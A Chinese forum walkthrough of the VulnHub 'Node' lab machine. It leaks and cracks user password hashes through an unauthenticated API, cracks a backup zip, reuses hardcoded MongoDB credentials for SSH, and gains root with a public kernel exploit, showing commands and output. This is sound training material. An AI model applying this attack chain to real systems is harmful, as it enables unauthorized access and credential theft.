156****3330 / 2018-10-16 22:07:25 / 浏览数 2661 安全技术 CTF 顶(1) 踩(0)

node1 靶机渗透指南

靶机下载地址和环境

靶机下载地址:https://download.vulnhub.com/node/Node.ova

靶机的环境:处于nat网络的vm虚拟机中

实战

首先知道靶机的Ip地址

这里提供两种办法给大家

第一种是使用 arp-scan -1 获取局域网内其他主机

第二种是使用 nmap 192.168.138.0/24扫描

最后得到我们的目标主机的ip地址是 192.168.138.137

按照惯例我们使用nmap -A 192.168.138.137 获取详细信息

扫描结果发现目标开启了 22 ssh端口 和 3000端口

对node.js稍有了解的都知道 3000是node.js的默认端口

访问192.168.138.137:3000

MYPLACE LOGIN

WELCOME TO MYPLACE

SAY "HEY" TO OUR NEWEST MEMBERS



WHAT IS MYPLACE?



MyPlace is a new collaboration project by the gurus of social media to bring you the most secure platform ever to meet new social media to bring you the development, but feel free to take a look at the profiles of our existing users.



欢迎界面如上

发现右上角的 LOGIN 蛮惹眼de

于是乎 尝试 admin admin

MYPLACE

WELCOME TO MYPLACE



先知社区

结果当然是想当然

继续打开控制带看一下

▼ 🚯 192.168.138.137:3000
▼ 🗀 assets/js
▽ 🗀 арр
controllers
JS admin.js
JS home.js
JS login.js
JS profile.js
JS app.js
▼ 🗀 misc
JS freelancer.min.js
▶ 🗅 vendor 🖊 先知社区

发现这个网站的 js 文件命名有点意思

于是逐一审计 发现了一些可疑路劲

尝试访问http://192.168.138.137:3000/api/users/latest后得到以下信息

JSON 原始数据 头

保存 复制 全部折叠 全部展开

▼0:

id: "59a7368398aa325cc03ee51d"

username: "tom"

password: "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"

is admin: false

▼1:

id: "59a7368e98aa325cc03ee51e"

username: "mark"

password: "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"

is_admin: false

▼2:

id: "59aa9781cced6f1d1490fce9"

username: "rastating"

password: "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"

is admin: false

这岂不是把账户密码爆出来了呀 只不过密码是经过加密的

这是看到最后的 latest有点意思 不如把它去掉

再次访问 发现得到了一个管理员用户

JSON 原始数据 头

保存 复制 全部折叠 全部展开

▼0:

id: "59a7365b98aa325cc03ee51c"

username: "myP14ceAdm1nAcc0uNT"

password: "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"

is_admin: true

▼1:

id: "59a7368398aa325cc03ee51d"

username: "tom"

password: "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"

is_admin: false

₹2:

_id: "59a7368e98aa325cc03ee51e"

username: "mark"

password: "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"

is_admin: false

₹3:

_id: "59aa9781cced6f1d1490fce9"

username: "rastating"

password: "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"

is_admin: false

hash-identifer 来识别

```
#
  #
  #
                                                       #
                                                       #
  #
  #
  #
                                               By Zion3R #
                                         www.Blackploit.com #
                                        Root@Blackploit.com #
  HASH: dffc504aa55359b9265cbebele4032fe600b64475ae3fd29c07d23223334d0af
Possible Hashs:
[+] SHA-256
   Haval-256
[+]
Least Possible Hashs:
   GOST R 34.11-94
   RipeMD-256
   SNEFRU-256
   SHA-256 (HMAC)
   Haval-256 (HMAC)
   RipeMD-256(HMAC)
   SNEFRU-256 (HMAC)
   SHA-256(md5($pass))
   SHA-256(sha1($pass))
HASH:
```

最后再使用一个在线的解密网站

http://md5decrypt.net/

得到密码是 manchester

登录后发现 可以下载网站备份

尝试以base64解码后压缩包打开提示需要密码

```
root@ :~/桌面# cat myplace.backup | base64 --decode >myplace
root@ :~/桌面# ls
1.jpg desktop myplace myplace.backup vmware-tools-distrib
root@ :~/桌面# file myplace
myplace: Zip archive data, at least v1.0 to extract
root@ :~/桌面# unzip myplace
Archive: myplace
creating: var/www/myplace/
[myplace] var/www/myplace/package-lock.json password:
```

这个时候我们可以使用kali自带的工具 fcrackzip进行破解

通过字典猜解出密码为magicword

打开后如图这是网站的目录

提取 +	myplace		८ ≡ -		×
く> 企 位置(<u>L</u>): ■ /var/ww	w/myplace/				
名称	▼大小	类型	已修改		
node_modules	4.3 MB	文件夹	2017年9月2	日 07:	10
static	2.4 MB	文件夹	2017年9月2	日 07:0	09
app.html	■ 3.9 KB	HTML文档	2017年9月2	日 19:	27
📭 app.js	■ 8.1 KB	JavaScript	2017年9月3	日 20:	23
#! package.json	🔒 283 字节	JSON 文档	2017年9月2	日 07:0	09
#! package-lock.json	■ 21.3 KB	JSON 文档	2017年9月2	日 07:	10

先知社区

对于node.js而言我们首先要基本熟悉他的构架

https://www.cnblogs.com/Chen-xy/p/4466351.html

其中 app.js:项目入口及程序启动文件。

那我们先从这里开始

```
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require('path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
```

这里发现了一个Node.js 连接 MongoDB 的操作

Node.js连接MongoDB

这个mongodb实例指向localhost,所以很可能这些凭证也适合ssh访问

尝试一波

ssh mark@192.168.138.137

成功登录 查看系统信息

:~# ssh mark@192.168.138.137 mark@192.168.138.137's password: The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. 88,888, ,88888, 88888 '88888' '88888' '88888' '8888 '88888' The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Aug 6 23:32:28 2018 from 10.2.1.1

mark@node:~\$ uname -a

mark@node:~\$

Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

接下来是提权操作

我们可以使用searchspolit 查找漏洞或者网上找下 exp

如图 那我们就开始利用吧

这里我们采用 Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation

把代码copy到tmp文件下然后编译执行即可

```
mark@node:/tmp$ vim 3.c
mark@node:/tmp$ gcc 3.c -o 3
mark@node:/tmp$ ./3
task_struct = ffff880027de2d00
uidptr = ffff880025692904
spawning root shell
root@node:/tmp# whoiam
whoiam: command not found
root@node:/tmp# whoami
root
root@node:/tmp# whoami
```

点击收藏 | 3 关注 | 1

上一篇: 护网杯2018 easy_lara... 下一篇: ethernaut 题目Alien...

1. 0 条回复

• 动动手指,沙发就是你的了!

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板